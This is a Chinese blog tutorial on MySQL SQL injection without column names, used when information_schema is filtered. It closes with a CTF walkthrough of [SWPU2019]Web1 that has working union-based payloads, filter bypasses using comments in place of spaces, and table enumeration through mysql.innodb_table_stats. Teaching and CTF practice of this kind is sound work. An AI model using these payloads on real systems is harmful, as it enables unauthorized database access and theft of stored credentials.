SQL无列名注入


MYSQL无列名注入

1. 什么是无列名注入

  • 一般的查询语句,需要依赖于information_schema库来获取库名,表名,列名等信息

但是有些ctf题目会将informat_schema这个库过滤,这时候就需要无列名注入

在 information_schema 中,除了 SCHEMATA、TABLES、COLUMNS 有表信息外,高版本的 mysql 中,还有 INNODB_TABLES 及 INNODB_COLUMNS 中记录着表结构。

  • 首先我们可以利用sqlmap暴力破解表名,那么之后如何利用?

2. 使用条件和方法

适用于已经知道表明,不知道列名的时候,而information_schema又被过滤的情况下

3. 原理

我们不知道列名,但我们可以给列取别名(绕过对真实的列名的需求)同时进行数据查询,因此,当我们查询的字段多于数据表中的列的时候就会报错

4. 不使用表名的查询

  • 自己首先创建好一个数据表

4.1 正常的sql查询

select * from admin

image-20210527184534804

其中列名为id, user,name,password

4.2 使用union查询

select 1,2,3 union select * from admin;

image-20210527184811508

可以看到,我们的列名是被替换了的!!

接下来,我们就可以尝试查询数字来得到列的内容

select `1` from (select 1,2,3 union select * from admin)a;

image-20210527185307682

注意:

  • 1上要加``;

  • from后面的语句是一个整体,返回的事整个表中的内容,要()起来;

  • 后面那个a,相当于是括号里语句的别名相当于 as a,可以随便起名;

有时候``会被过滤,那么我们需要使用别名代替

select b from (select 1 as b,2 as c,3 as d union select * from admin)a;

image-20210527185943335

同时查询多个列

select concat(`2`,0x2d,`3`) from (select 1,2,3 union select * from admin)a limit 1,3;

image-20210527190416113

  • 简而言之,先为表中的列命名,再进行查询

payload:

select a,b from posts where a=-1 union select 1,(select concat(`3`,0x2d,`4`) from (select 1,2,3,4,5,6 union select * from xxx)a limit 1,1);

参考博客

习题:

[SWPU2019]Web1

经过成测试可以知道,这道题,已经被过滤了空格,and,or,information_scheam。。。。

可以用union查询和无列名注入

1. 查询注入类型

1'

image-20210528104442114

单引号字符型注入

2. 查询当前表的列数以及回显位置

2.1 查看列数

1'/**/group/**/by/**/22,'1 //22是试出来的

image-20210528104727373

没有报错说明是22列

2.2 查看回显位置

1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

image-20210528105344795

说明回显位置是2,3

接下来怎么查表?

有两种方法:

  • 利用mysql.innodb_table_stats等表可以代替information_schema,查看链接可替代
  • sqlmap爆破

mysql库:

image-20210528113315139

mysql.innodb_table_stats表中的内容

image-20210528113408669

sys库中的内容:

image-20210528113459339

sys.schema_table_statistics的内容

image-20210528113547095

sys.x$statement_analysis

image-20210528114444930

由于第一种方式的其他库也有可能被过滤,所以尝试用sqlmap……

sqlmap检测不出来,还是使用mysql.innodb_table_stats

-1'union/**/select/**/1,2,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

image-20210528111441064

直接看users

采用无列名注入

-1'union/**/select/**/1,2,(select/**/`3`/**/from(select/**/1,2,3/**/union/**/select/**/*/**/from/**/web1.users)a/**/limit/**/1,1),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

image-20210528112359008


文章作者: 尘落
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 尘落 !
评论
  目录